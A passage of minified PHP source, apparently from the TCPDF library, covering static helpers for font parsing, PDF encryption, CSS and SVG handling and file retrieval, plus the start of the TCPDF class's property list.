_getFWORD($str,$offset){$v=self::_getUSHORT($str,$offset);if($v>0x7fff){$v-=0x10000;}return $v;} public static function _getUFWORD($str,$offset){$v=self::_getUSHORT($str,$offset);return $v;} public static function _getFIXED($str,$offset){$m=self::_getFWORD($str,$offset);$f=self::_getUSHORT($str,($offset+2));$v=floatval(''.$m.'.'.$f.'');return $v;} public static function _getBYTE($str,$offset){$v=unpack('Ci',substr($str,$offset,1));return $v['i'];} public static function rfread($handle,$length){$data=fread($handle,$length);if($data===false){return false;}$rest=($length-strlen($data));if($rest>0){$data.=self::rfread($handle,$rest);}return $data;} public static function _freadint($f){$a=unpack('Ni',fread($f,4));return $a['i'];} public static function getRandomSeed($seed=''){$rnd=uniqid(rand().microtime(true),true);if(function_exists('posix_getpid')){$rnd.=posix_getpid();}if(function_exists('openssl_random_pseudo_bytes') AND (strtoupper(substr(PHP_OS,0,3))!=='WIN')){$rnd.=openssl_random_pseudo_bytes(512);}else {for($i=0;$i<23;++$i){$rnd.=uniqid('',true);}}return $rnd.$seed.__FILE__.serialize($_SERVER).microtime(true);} public static function _md5_16($str){return pack('H*',md5($str));} public static function _AES($key,$text){$padding=16-(strlen($text)%16);$text.=str_repeat(chr($padding),$padding);$iv=mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC),MCRYPT_RAND);$text=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,$text,MCRYPT_MODE_CBC,$iv);$text=$iv.$text;return $text;} public static function _RC4($key,$text,&$last_enc_key,&$last_enc_key_c){if(function_exists('mcrypt_encrypt') AND ($out=@mcrypt_encrypt(MCRYPT_ARCFOUR,$key,$text,MCRYPT_MODE_STREAM,''))){return $out;}if($last_enc_key!=$key){$k=str_repeat($key,((256/strlen($key))+1));$rc4=range(0,255);$j=0;for($i=0;$i<256;++$i){$t=$rc4[$i];$j=($j+$t+ord($k[$i]))%256;$rc4[$i]=$rc4[$j];$rc4[$j]=$t;}$last_enc_key=$key;$last_enc_key_c=$rc4;}else {$rc4=$last_enc_key_c;}$len=strlen($text);$a=0;$b=0;$out='';for($i=0;$i<$len;++$i){$a=($a+1)%256;$t=$rc4[$a];$b=($b+$t)%256;$rc4[$a]=$rc4[$b];$rc4[$b]=$t;$k=$rc4[($rc4[$a]+$rc4[$b])%256];$out.=chr(ord($text[$i])^$k);}return $out;} public static function getUserPermissionCode($permissions,$mode=0){$options=array('owner'=>2,'print'=>4,'modify'=>8,'copy'=>16,'annot-forms'=>32,'fill-forms'=>256,'extract'=>512,'assemble'=>1024,'print-high'=>2048);$protection=2147422012;foreach($permissions as $permission){if(isset($options[$permission])){if(($mode>0) OR ($options[$permission]<=32)){if($options[$permission]==2){$protection+=$options[$permission];}else {$protection-=$options[$permission];}}}}return $protection;} public static function convertHexStringToString($bs){$string='';$bslength=strlen($bs);if(($bslength%2)!=0){$bs.='0';++$bslength;}for($i=0;$i<$bslength;$i+=2){$string.=chr(hexdec($bs[$i].$bs[($i+1)]));}return $string;} public static function convertStringToHexString($s){$bs='';$chars=preg_split('//',$s,-1,PREG_SPLIT_NO_EMPTY);foreach($chars as $c){$bs.=sprintf('%02s',dechex(ord($c)));}return $bs;} public static function getEncPermissionsString($protection){$binprot=sprintf('%032b',$protection);$str=chr(bindec(substr($binprot,24,8)));$str.=chr(bindec(substr($binprot,16,8)));$str.=chr(bindec(substr($binprot,8,8)));$str.=chr(bindec(substr($binprot,0,8)));return $str;} public static function encodeNameObject($name){$escname='';$length=strlen($name);for($i=0;$i<$length;++$i){$chr=$name[$i];if(preg_match('/[0-9a-zA-Z#_=-]/',$chr)==1){$escname.=$chr;}else {$escname.=sprintf('#%02X',ord($chr));}}return $escname;} public static function getAnnotOptFromJSProp($prop,&$spot_colors,$rtl=false){if(isset($prop['aopt']) AND is_array($prop['aopt'])){return $prop['aopt'];}$opt=array();if(isset($prop['alignment'])){switch($prop['alignment']){case 'left':{$opt['q']=0;break;}case 'center':{$opt['q']=1;break;}case 'right':{$opt['q']=2;break;}default:{$opt['q']=($rtl)?2:0;break;}}}if(isset($prop['lineWidth'])){$linewidth=intval($prop['lineWidth']);}else {$linewidth=1;}if(isset($prop['borderStyle'])){switch($prop['borderStyle']){case 'border.d':case 'dashed':{$opt['border']=array(0,0,$linewidth,array(3,2));$opt['bs']=array('w'=>$linewidth,'s'=>'D','d'=>array(3,2));break;}case 'border.b':case 'beveled':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'B');break;}case 'border.i':case 'inset':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'I');break;}case 'border.u':case 'underline':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'U');break;}case 'border.s':case 'solid':{$opt['border']=array(0,0,$linewidth);$opt['bs']=array('w'=>$linewidth,'s'=>'S');break;}default:{break;}}}if(isset($prop['border']) AND is_array($prop['border'])){$opt['border']=$prop['border'];}if(!isset($opt['mk'])){$opt['mk']=array();}if(!isset($opt['mk']['if'])){$opt['mk']['if']=array();}$opt['mk']['if']['a']=array(0.5,0.5);if(isset($prop['buttonAlignX'])){$opt['mk']['if']['a'][0]=$prop['buttonAlignX'];}if(isset($prop['buttonAlignY'])){$opt['mk']['if']['a'][1]=$prop['buttonAlignY'];}if(isset($prop['buttonFitBounds']) AND ($prop['buttonFitBounds']=='true')){$opt['mk']['if']['fb']=true;}if(isset($prop['buttonScaleHow'])){switch($prop['buttonScaleHow']){case 'scaleHow.proportional':{$opt['mk']['if']['s']='P';break;}case 'scaleHow.anamorphic':{$opt['mk']['if']['s']='A';break;}}}if(isset($prop['buttonScaleWhen'])){switch($prop['buttonScaleWhen']){case 'scaleWhen.always':{$opt['mk']['if']['sw']='A';break;}case 'scaleWhen.never':{$opt['mk']['if']['sw']='N';break;}case 'scaleWhen.tooBig':{$opt['mk']['if']['sw']='B';break;}case 'scaleWhen.tooSmall':{$opt['mk']['if']['sw']='S';break;}}}if(isset($prop['buttonPosition'])){switch($prop['buttonPosition']){case 0:case 'position.textOnly':{$opt['mk']['tp']=0;break;}case 1:case 'position.iconOnly':{$opt['mk']['tp']=1;break;}case 2:case 'position.iconTextV':{$opt['mk']['tp']=2;break;}case 3:case 'position.textIconV':{$opt['mk']['tp']=3;break;}case 4:case 'position.iconTextH':{$opt['mk']['tp']=4;break;}case 5:case 'position.textIconH':{$opt['mk']['tp']=5;break;}case 6:case 'position.overlay':{$opt['mk']['tp']=6;break;}}}if(isset($prop['fillColor'])){if(is_array($prop['fillColor'])){$opt['mk']['bg']=$prop['fillColor'];}else {$opt['mk']['bg']=TCPDF_COLORS::convertHTMLColorToDec($prop['fillColor'],$spot_colors);}}if(isset($prop['strokeColor'])){if(is_array($prop['strokeColor'])){$opt['mk']['bc']=$prop['strokeColor'];}else {$opt['mk']['bc']=TCPDF_COLORS::convertHTMLColorToDec($prop['strokeColor'],$spot_colors);}}if(isset($prop['rotation'])){$opt['mk']['r']=$prop['rotation'];}if(isset($prop['charLimit'])){$opt['maxlen']=intval($prop['charLimit']);}if(!isset($ff)){$ff=0;}if(isset($prop['readonly']) AND ($prop['readonly']=='true')){$ff+=1<<0;}if(isset($prop['required']) AND ($prop['required']=='true')){$ff+=1<<1;}if(isset($prop['multiline']) AND ($prop['multiline']=='true')){$ff+=1<<12;}if(isset($prop['password']) AND ($prop['password']=='true')){$ff+=1<<13;}if(isset($prop['NoToggleToOff']) AND ($prop['NoToggleToOff']=='true')){$ff+=1<<14;}if(isset($prop['Radio']) AND ($prop['Radio']=='true')){$ff+=1<<15;}if(isset($prop['Pushbutton']) AND ($prop['Pushbutton']=='true')){$ff+=1<<16;}if(isset($prop['Combo']) AND ($prop['Combo']=='true')){$ff+=1<<17;}if(isset($prop['editable']) AND ($prop['editable']=='true')){$ff+=1<<18;}if(isset($prop['Sort']) AND ($prop['Sort']=='true')){$ff+=1<<19;}if(isset($prop['fileSelect']) AND ($prop['fileSelect']=='true')){$ff+=1<<20;}if(isset($prop['multipleSelection']) AND ($prop['multipleSelection']=='true')){$ff+=1<<21;}if(isset($prop['doNotSpellCheck']) AND ($prop['doNotSpellCheck']=='true')){$ff+=1<<22;}if(isset($prop['doNotScroll']) AND ($prop['doNotScroll']=='true')){$ff+=1<<23;}if(isset($prop['comb']) AND ($prop['comb']=='true')){$ff+=1<<24;}if(isset($prop['radiosInUnison']) AND ($prop['radiosInUnison']=='true')){$ff+=1<<25;}if(isset($prop['richText']) AND ($prop['richText']=='true')){$ff+=1<<25;}if(isset($prop['commitOnSelChange']) AND ($prop['commitOnSelChange']=='true')){$ff+=1<<26;}$opt['ff']=$ff;if(isset($prop['defaultValue'])){$opt['dv']=$prop['defaultValue'];}$f=4;if(isset($prop['readonly']) AND ($prop['readonly']=='true')){$f+=1<<6;}if(isset($prop['display'])){if($prop['display']=='display.visible'){}elseif($prop['display']=='display.hidden'){$f+=1<<1;}elseif($prop['display']=='display.noPrint'){$f-=1<<2;}elseif($prop['display']=='display.noView'){$f+=1<<5;}}$opt['f']=$f;if(isset($prop['currentValueIndices']) AND is_array($prop['currentValueIndices'])){$opt['i']=$prop['currentValueIndices'];}if(isset($prop['value'])){if(is_array($prop['value'])){$opt['opt']=array();foreach($prop['value'] AS $key=>$optval){if(isset($prop['exportValues'][$key])){$opt['opt'][$key]=array($prop['exportValues'][$key],$prop['value'][$key]);}else {$opt['opt'][$key]=$prop['value'][$key];}}}else {$opt['v']=$prop['value'];}}if(isset($prop['richValue'])){$opt['rv']=$prop['richValue'];}if(isset($prop['submitName'])){$opt['tm']=$prop['submitName'];}if(isset($prop['name'])){$opt['t']=$prop['name'];}if(isset($prop['userName'])){$opt['tu']=$prop['userName'];}if(isset($prop['highlight'])){switch($prop['highlight']){case 'none':case 'highlight.n':{$opt['h']='N';break;}case 'invert':case 'highlight.i':{$opt['h']='i';break;}case 'push':case 'highlight.p':{$opt['h']='P';break;}case 'outline':case 'highlight.o':{$opt['h']='O';break;}}}return $opt;} public static function formatPageNumber($num){return number_format((float)$num,0,'','.');} public static function formatTOCPageNumber($num){return number_format((float)$num,0,'','.');} public static function extractCSSproperties($cssdata){if(empty($cssdata)){return array();}$cssdata=preg_replace('/\/\*[^\*]*\*\//','',$cssdata);$cssdata=preg_replace('/[\s]+/',' ',$cssdata);$cssdata=preg_replace('/[\s]*([;:\{\}]{1})[\s]*/','',$cssdata);$cssdata=preg_replace('/([^\}\{]+)\{\}/','',$cssdata);$cssdata=preg_replace('/@media[\s]+([^\{]*)\{/i','@media ',$cssdata);$cssdata=preg_replace('/\}\}/si','}',$cssdata);$cssdata=trim($cssdata);$cssblocks=array();$matches=array();if(preg_match_all('/@media[\s]+([^\]*)([^]*)/i',$cssdata,$matches)>0){foreach($matches[1] as $key=>$type){$cssblocks[$type]=$matches[2][$key];}$cssdata=preg_replace('/@media[\s]+([^\]*)([^]*)/i','',$cssdata);}if(isset($cssblocks['all']) AND !empty($cssblocks['all'])){$cssdata.=$cssblocks['all'];}if(isset($cssblocks['print']) AND !empty($cssblocks['print'])){$cssdata.=$cssblocks['print'];}$cssblocks=array();$matches=array();if(substr($cssdata,-1)=='}'){$cssdata=substr($cssdata,0,-1);}$matches=explode('}',$cssdata);foreach($matches as $key=>$block){$cssblocks[$key]=explode('{',$block);if(!isset($cssblocks[$key][1])){unset($cssblocks[$key]);}}foreach($cssblocks as $key=>$block){if(strpos($block[0],',')>0){$selectors=explode(',',$block[0]);foreach($selectors as $sel){$cssblocks[]=array(0=>trim($sel),1=>$block[1]);}unset($cssblocks[$key]);}}$cssdata=array();foreach($cssblocks as $block){$selector=$block[0];$matches=array();$a=0;$b=intval(preg_match_all('/[\#]/',$selector,$matches));$c=intval(preg_match_all('/[\[\.]/',$selector,$matches));$c+=intval(preg_match_all('/[\:]link|visited|hover|active|focus|target|lang|enabled|disabled|checked|indeterminate|root|nth|first|last|only|empty|contains|not/i',$selector,$matches));$d=intval(preg_match_all('/[\>\+\~\s]{1}[a-zA-Z0-9]+/',' '.$selector,$matches));$d+=intval(preg_match_all('/[\:][\:]/',$selector,$matches));$specificity=$a.$b.$c.$d;$cssdata[$specificity.' '.$selector]=$block[1];}ksort($cssdata,SORT_STRING);return $cssdata;} public static function fixHTMLCode($html,$default_css='',$tagvs='',$tidy_options='',&$tagvspaces){if($tidy_options===''){$tidy_options=array('clean'=>1,'drop-empty-paras'=>0,'drop-proprietary-attributes'=>1,'fix-backslash'=>1,'hide-comments'=>1,'join-styles'=>1,'lower-literals'=>1,'merge-divs'=>1,'merge-spans'=>1,'output-xhtml'=>1,'word-2000'=>1,'wrap'=>0,'output-bom'=>0,);}$tidy=tidy_parse_string($html,$tidy_options);$tidy->cleanRepair();$tidy_head=tidy_get_head($tidy);$css=$tidy_head->value;$css=preg_replace('/<style([^>]+)>/ims','<style>',$css);$css=preg_replace('/<\/style>(.*)<style>/ims',"
",$css);$css=str_replace('/*<![CDATA[*/','',$css);$css=str_replace('/*]]>*/','',$css);preg_match('/<style>(.*)<\/style>/ims',$css,$matches);if(isset($matches[1])){$css=strtolower($matches[1]);}else {$css='';}$css='<style>'.$default_css.$css.'</style>';$tidy_body=tidy_get_body($tidy);$html=$tidy_body->value;$html=str_replace('<br>','<br />',$html);$html=preg_replace('/<div([^\>]*)><\/div>/','',$html);$html=preg_replace('/<p([^\>]*)><\/p>/','',$html);if($tagvs!==''){$tagvspaces=$tagvs;}return $css.$html;} public static function isValidCSSSelectorForTag($dom,$key,$selector){$valid=false;$tag=$dom[$key]['value'];$class=array();if(isset($dom[$key]['attribute']['class']) AND !empty($dom[$key]['attribute']['class'])){$class=explode(' ',strtolower($dom[$key]['attribute']['class']));}$id='';if(isset($dom[$key]['attribute']['id']) AND !empty($dom[$key]['attribute']['id'])){$id=strtolower($dom[$key]['attribute']['id']);}$selector=preg_replace('/([\>\+\~\s]{1})([\.]{1})([^\>\+\~\s]*)/si','*.',$selector);$matches=array();if(preg_match_all('/([\>\+\~\s]{1})([a-zA-Z0-9\*]+)([^\>\+\~\s]*)/si',$selector,$matches,PREG_PATTERN_ORDER|PREG_OFFSET_CAPTURE)>0){$parentop=array_pop($matches[1]);$operator=$parentop[0];$offset=$parentop[1];$lasttag=array_pop($matches[2]);$lasttag=strtolower(trim($lasttag[0]));if(($lasttag=='*') OR ($lasttag==$tag)){$attrib=array_pop($matches[3]);$attrib=strtolower(trim($attrib[0]));if(!empty($attrib)){switch($attrib[0]){case '.':{if(in_array(substr($attrib,1),$class)){$valid=true;}break;}case '#':{if(substr($attrib,1)==$id){$valid=true;}break;}case '[':{$attrmatch=array();if(preg_match('/\[([a-zA-Z0-9]*)[\s]*([\~\^\$\*\|\=]*)[\s]*["]?([^"\]]*)["]?\]/i',$attrib,$attrmatch)>0){$att=strtolower($attrmatch[1]);$val=$attrmatch[3];if(isset($dom[$key]['attribute'][$att])){switch($attrmatch[2]){case '=':{if($dom[$key]['attribute'][$att]==$val){$valid=true;}break;}case '~=':{if(in_array($val,explode(' ',$dom[$key]['attribute'][$att]))){$valid=true;}break;}case '^=':{if($val==substr($dom[$key]['attribute'][$att],0,strlen($val))){$valid=true;}break;}case '$=':{if($val==substr($dom[$key]['attribute'][$att],-strlen($val))){$valid=true;}break;}case '*=':{if(strpos($dom[$key]['attribute'][$att],$val)!==false){$valid=true;}break;}case '|=':{if($dom[$key]['attribute'][$att]==$val){$valid=true;}elseif(preg_match('/'.$val.'[\-]{1}/i',$dom[$key]['attribute'][$att])>0){$valid=true;}break;}default:{$valid=true;}}}}break;}case ':':{if($attrib[1]==':'){}else {}break;}}}else {$valid=true;}if($valid AND ($offset>0)){$valid=false;$selector=substr($selector,0,$offset);switch($operator){case ' ':{while($dom[$key]['parent']>0){if(self::isValidCSSSelectorForTag($dom,$dom[$key]['parent'],$selector)){$valid=true;break;}else {$key=$dom[$key]['parent'];}}break;}case '>':{$valid=self::isValidCSSSelectorForTag($dom,$dom[$key]['parent'],$selector);break;}case '+':{for($i=($key-1);$i>$dom[$key]['parent'];--$i){if($dom[$i]['tag'] AND $dom[$i]['opening']){$valid=self::isValidCSSSelectorForTag($dom,$i,$selector);break;}}break;}case '~':{for($i=($key-1);$i>$dom[$key]['parent'];--$i){if($dom[$i]['tag'] AND $dom[$i]['opening']){if(self::isValidCSSSelectorForTag($dom,$i,$selector)){break;}}}break;}}}}}return $valid;} public static function getCSSdataArray($dom,$key,$css){$cssarray=array();$selectors=array();if(isset($dom[($dom[$key]['parent'])]['csssel'])){$selectors=$dom[($dom[$key]['parent'])]['csssel'];}foreach($css as $selector=>$style){$pos=strpos($selector,' ');$specificity=substr($selector,0,$pos);$selector=substr($selector,$pos);if(self::isValidCSSSelectorForTag($dom,$key,$selector)){if(!in_array($selector,$selectors)){$cssarray[]=array('k'=>$selector,'s'=>$specificity,'c'=>$style);$selectors[]=$selector;}}}if(isset($dom[$key]['attribute']['style'])){$cssarray[]=array('k'=>'','s'=>'1000','c'=>$dom[$key]['attribute']['style']);}$cssordered=array();foreach($cssarray as $key=>$val){$skey=sprintf('%04d',$key);$cssordered[$val['s'].'_'.$skey]=$val;}ksort($cssordered,SORT_STRING);return array($selectors,$cssordered);} public static function getTagStyleFromCSSarray($css){$tagstyle='';foreach($css as $style){$csscmds=explode(';',$style['c']);foreach($csscmds as $cmd){if(!empty($cmd)){$pos=strpos($cmd,':');if($pos!==false){$cmd=substr($cmd,0,($pos+1));if(strpos($tagstyle,$cmd)!==false){$tagstyle=preg_replace('/'.$cmd.'[^;]+/i','',$tagstyle);}}}}$tagstyle.=';'.$style['c'];}$tagstyle=preg_replace('/[;]+/',';',$tagstyle);return $tagstyle;} public static function intToRoman($number){$roman='';while($number>=1000){$roman.='M';$number-=1000;}while($number>=900){$roman.='CM';$number-=900;}while($number>=500){$roman.='D';$number-=500;}while($number>=400){$roman.='CD';$number-=400;}while($number>=100){$roman.='C';$number-=100;}while($number>=90){$roman.='XC';$number-=90;}while($number>=50){$roman.='L';$number-=50;}while($number>=40){$roman.='XL';$number-=40;}while($number>=10){$roman.='X';$number-=10;}while($number>=9){$roman.='IX';$number-=9;}while($number>=5){$roman.='V';$number-=5;}while($number>=4){$roman.='IV';$number-=4;}while($number>=1){$roman.='I';--$number;}return $roman;} public static function revstrpos($haystack,$needle,$offset=0){$length=strlen($haystack);$offset=($offset>0)?($length-$offset):abs($offset);$pos=strpos(strrev($haystack),strrev($needle),$offset);return ($pos===false)?false:($length-$pos-strlen($needle));} public static function getHyphenPatternsFromTEX($file){$data=file_get_contents($file);$patterns=array();$data=preg_replace('/\%[^
]*/','',$data);preg_match('/\patterns\{([^\}]*)\}/i',$data,$matches);$data=trim(substr($matches[0],10,-1));$patterns_array=preg_split('/[\s]+/',$data);$patterns=array();foreach($patterns_array as $val){if(!TCPDF_STATIC::empty_string($val)){$val=trim($val);$val=str_replace('\'','\'',$val);$key=preg_replace('/[0-9]+/','',$val);$patterns[$key]=$val;}}return $patterns;} public static function getPathPaintOperator($style,$default='S'){$op='';switch($style){case 'S':case 'D':{$op='S';break;}case 's':case 'd':{$op='s';break;}case 'f':case 'F':{$op='f';break;}case 'f*':case 'F*':{$op='f*';break;}case 'B':case 'FD':case 'DF':{$op='B';break;}case 'B*':case 'F*D':case 'DF*':{$op='B*';break;}case 'b':case 'fd':case 'df':{$op='b';break;}case 'b*':case 'f*d':case 'df*':{$op='b*';break;}case 'CNZ':{$op='W n';break;}case 'CEO':{$op='W* n';break;}case 'n':{$op='n';break;}default:{if(!empty($default)){$op=self::getPathPaintOperator($default,'');}else {$op='';}}}return $op;} public static function getTransformationMatrixProduct($ta,$tb){$tm=array();$tm[0]=($ta[0]*$tb[0])+($ta[2]*$tb[1]);$tm[1]=($ta[1]*$tb[0])+($ta[3]*$tb[1]);$tm[2]=($ta[0]*$tb[2])+($ta[2]*$tb[3]);$tm[3]=($ta[1]*$tb[2])+($ta[3]*$tb[3]);$tm[4]=($ta[0]*$tb[4])+($ta[2]*$tb[5])+$ta[4];$tm[5]=($ta[1]*$tb[4])+($ta[3]*$tb[5])+$ta[5];return $tm;} public static function getSVGTransformMatrix($attribute){$tm=array(1,0,0,1,0,0);$transform=array();if(preg_match_all('/(matrix|translate|scale|rotate|skewX|skewY)[\s]*\(([^\)]+)\)/si',$attribute,$transform,PREG_SET_ORDER)>0){foreach($transform as $key=>$data){if(!empty($data[2])){$a=1;$b=0;$c=0;$d=1;$e=0;$f=0;$regs=array();switch($data[1]){case 'matrix':{if(preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$a=$regs[1];$b=$regs[2];$c=$regs[3];$d=$regs[4];$e=$regs[5];$f=$regs[6];}break;}case 'translate':{if(preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$e=$regs[1];$f=$regs[2];}elseif(preg_match('/([a-z0-9\-\.]+)/si',$data[2],$regs)){$e=$regs[1];}break;}case 'scale':{if(preg_match('/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$a=$regs[1];$d=$regs[2];}elseif(preg_match('/([a-z0-9\-\.]+)/si',$data[2],$regs)){$a=$regs[1];$d=$a;}break;}case 'rotate':{if(preg_match('/([0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si',$data[2],$regs)){$ang=deg2rad($regs[1]);$x=$regs[2];$y=$regs[3];$a=cos($ang);$b=sin($ang);$c=-$b;$d=$a;$e=($x*(1-$a))-($y*$c);$f=($y*(1-$d))-($x*$b);}elseif(preg_match('/([0-9\-\.]+)/si',$data[2],$regs)){$ang=deg2rad($regs[1]);$a=cos($ang);$b=sin($ang);$c=-$b;$d=$a;$e=0;$f=0;}break;}case 'skewX':{if(preg_match('/([0-9\-\.]+)/si',$data[2],$regs)){$c=tan(deg2rad($regs[1]));}break;}case 'skewY':{if(preg_match('/([0-9\-\.]+)/si',$data[2],$regs)){$b=tan(deg2rad($regs[1]));}break;}}$tm=self::getTransformationMatrixProduct($tm,array($a,$b,$c,$d,$e,$f));}}}return $tm;} public static function getVectorsAngle($x1,$y1,$x2,$y2){$dprod=($x1*$x2)+($y1*$y2);$dist1=sqrt(($x1*$x1)+($y1*$y1));$dist2=sqrt(($x2*$x2)+($y2*$y2));$angle=acos($dprod/($dist1*$dist2));if(is_nan($angle)){$angle=M_PI;}if((($x1*$y2)-($x2*$y1))<0){$angle*=-1;}return $angle;} public static function pregSplit($pattern,$modifiers,$subject,$limit=NULL,$flags=NULL){if((strpos($modifiers,'u')===FALSE) OR (count(preg_split('//u',"
	",-1,PREG_SPLIT_NO_EMPTY))==2)){return preg_split($pattern.$modifiers,$subject,$limit,$flags);}$ret=array();while(($nl=strpos($subject,"
"))!==FALSE){$ret=array_merge($ret,preg_split($pattern.$modifiers,substr($subject,0,$nl),$limit,$flags));$ret[]="
";$subject=substr($subject,($nl+1));}if(strlen($subject)>0){$ret=array_merge($ret,preg_split($pattern.$modifiers,$subject,$limit,$flags));}return $ret;} public static function fopenLocal($filename,$mode){if(strpos($filename,'://')===false){$filename='file://'.$filename;}elseif(stream_is_local($filename)!==true){return false;}return fopen($filename,$mode);} public static function fileGetContents($file){$alt=array($file);if((strlen($file)>1) AND ($file[0]=='/') AND ($file[1]!='/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT']!='/')){$findroot=strpos($file,$_SERVER['DOCUMENT_ROOT']);if(($findroot===false) OR ($findroot>1)){if(substr($_SERVER['DOCUMENT_ROOT'],-1)=='/'){$tmp=substr($_SERVER['DOCUMENT_ROOT'],0,-1).$file;}else {$tmp=$_SERVER['DOCUMENT_ROOT'].$file;}$alt[]=htmlspecialchars_decode(urldecode($tmp));}}$url=$file;if(preg_match('%^/{2}%',$url)){if(preg_match('%^([^:]+:)//%i',K_PATH_URL,$match)){$url=$match[1].str_replace(' ','%20',$url);$alt[]=$url;}}$urldata=@parse_url($url);if(!isset($urldata['query']) OR (strlen($urldata['query'])<=0)){if(K_PATH_URL AND (strpos($url,K_PATH_URL)===0)){$tmp=str_replace(K_PATH_URL,K_PATH_MAIN,$url);$tmp=htmlspecialchars_decode(urldecode($tmp));$alt[]=$tmp;}}if(isset($_SERVER['SCRIPT_URI'])){$urldata=@parse_url($_SERVER['SCRIPT_URI']);$alt[]=$urldata['scheme'].'://'.$urldata['host'].(($file[0]=='/')?'':'/').$file;}foreach($alt as $f){$ret=@file_get_contents($f);if(($ret===FALSE) AND !ini_get('allow_url_fopen') AND function_exists('curl_init') AND preg_match('%^(https?|ftp)://%',$f)){$cs=curl_init();curl_setopt($cs,CURLOPT_URL,$f);curl_setopt($cs,CURLOPT_BINARYTRANSFER,true);curl_setopt($cs,CURLOPT_FAILONERROR,true);curl_setopt($cs,CURLOPT_RETURNTRANSFER,true);if((ini_get('open_basedir')=='') AND (!ini_get('safe_mode'))){curl_setopt($cs,CURLOPT_FOLLOWLOCATION,true);}curl_setopt($cs,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($cs,CURLOPT_TIMEOUT,30);curl_setopt($cs,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($cs,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($cs,CURLOPT_USERAGENT,'TCPDF');$ret=curl_exec($cs);curl_close($cs);}if($ret!==FALSE){break;}}return $ret;}}class TCPDF{ var $page; var $n; var $offsets=array(); var $pageobjects=array(); var $buffer; var $pages=array(); var $state; var $compress; var $CurOrientation; var $pagedim=array(); var $k; var $fwPt; var $fhPt; var $wPt; var $hPt; var $w; var $h; var $lMargin; var $rMargin; var $clMargin; var $crMargin; var $tMargin; var $bMargin; var $cell_padding=array('T'=>0,'R'=>0,'B'=>0,'L'=>0); var $cell_margin=array('T'=>0,'R'=>0,'B'=>0,'L'=>0); var $x; var $y; var $lasth; var $LineWidth; var $CoreFonts; var $fonts=array(); var $FontFiles=array(); var $diffs=array(); var $images=array(); var $svg_tag_depth=0; var $PageAnnots=array(); var $links=array(); var $FontFamily; var $FontStyle; var $FontAscent; var $FontDescent; var $underline; var $overline; var $CurrentFont; var $FontSizePt; var $FontSize; var $DrawColor; var $FillColor; var $TextColor; var $ColorFlag; var $AutoPageBreak; var $PageBreakTrigger; var $InHeader=false; var $InFooter=false; var $ZoomMode; var $LayoutMode; var $docinfounicode=true; var $title=''; var $subject=''; var $author=''; var $keywords=''; var $creator=''; var $starting_page_number=1; var $img_rb_x; var $img_rb_y; var $imgscale=1; var $isunicode=false; var $PDFVersion='1.7'; var $header_xobjid=false; var $header_xobj_autoreset=false; var $header_margin; var $footer_margin; var $original_lMargin; var $original_rMargin; var $header_font; var $footer_font; var $l; var $print_header=true; var $print_footer=true; var $header_logo=''; var $header_logo_width=30; var $header_title=''; var $header_string=''; var $header_text_color=array(0,0,0); var $header_line_color=array(0,0,0); var $footer_text_color=array(0,0,0); var $footer_line_color=array(0,0,0); var $txtshadow=array('enabled'=>false,'depth_w'=>0,'depth_h'=>0,'color'=>false,'opacity'=>1,'blend_mode'=>'Normal'); var $default_table_columns=4; var $HREF=array(); var $fontlist=array(); var $fgcolor; var $listordered=array(); var $listcount=array(); var $listnum=0; var $listindent=0; var $listindentlevel=0; var $bgcolor; var $tempfontsize=10; var $lispacer=''; var $encoding='UTF-8'; var $internal_encoding; var $rtl=false; var $tmprtl=false; var $encrypted; var $encryptdata=array(); var $last_enc_key; var $last_enc_key_c; var $file_id; var $outlines=array(); var $OutlineRoot; var $javascript=''; var $n_js; var $linethrough; var $ur=array(); var $dpi=72; var $newpagegroup=array(); var $pagegroups=array(); var $currpagegroup=0; var $extgstates; var $jpeg_quality; var $cell_height_ratio=K_CELL_HEIGHT_RATIO; var $viewer_preferences; var $PageMode; var $gradients=array(); var $intmrk=array(); var $bordermrk=array(); var $emptypagemrk=array(); var $cntmrk=array(); var $footerpos=array(); var $footerlen=array(); var $newline=true; var $endlinex=0; var $linestyleWidth=''; var $linestyleCap='0 J'; var $linestyleJoin='0 j'; var $linestyleDash='[] 0 d'; var $openMarkedContent=false; var $htmlvspace=0; var $spot_colors=array(); var $lisymbol=''; var $epsmarker='x#!#EPS#!#x'; var $transfmatrix=array(); var $transfmatrix_key=0; var $booklet=false; var $feps=0.005; var $tagvspaces=array(); var $customlistindent=-1; var $opencell=true; var $embeddedfiles=array(); var $premode=false; var $transfmrk=array(); var $htmlLinkColorArray=array(0,0,255); var $htmlLinkFontStyle='U'; var $numpages=0; var $pagelen=array(); var $numimages=0; var $imagekeys=array(); var $bufferlen=0; var $numfonts=0; var $fontkeys=array(); var $font_obj_ids=array(); var $pageopen=array(); var $default_monospaced_font='courier'; var $objcopy; var $cache_file_length=array(); var $thead=''; var $theadMargins=array(); var $sign=false; var $signature_data=array(); var $signature_max_length=11742; var $signature_appearance=array('page'=>1,'rect'=>'0 0 0 0'); var $empty_signature_appearance=array(); var $tsa_timestamp=false; var $tsa_data=array(); var $re_spaces='/[^\S]/'; var $re_space=array('p'=>'[^\S]','m'=>''); var $sig_obj_id=0; var $page_obj_id=array(); var $form_obj_id=array(); var $default_form_prop=array('lineWidth'=>1,'borderStyle'=>'solid','fillColor'=>array(255,255,255),'strokeColor'=>array(128,128,128)); var $js_objects=array(); var $form_action=''; var $form_enctype='application/x-www-form-urlencoded'; var $form_mode='post'; var $annotation_fonts=array(); var $radiobutton_groups=array(); var $radio_groups=array(); var $textindent=0; var 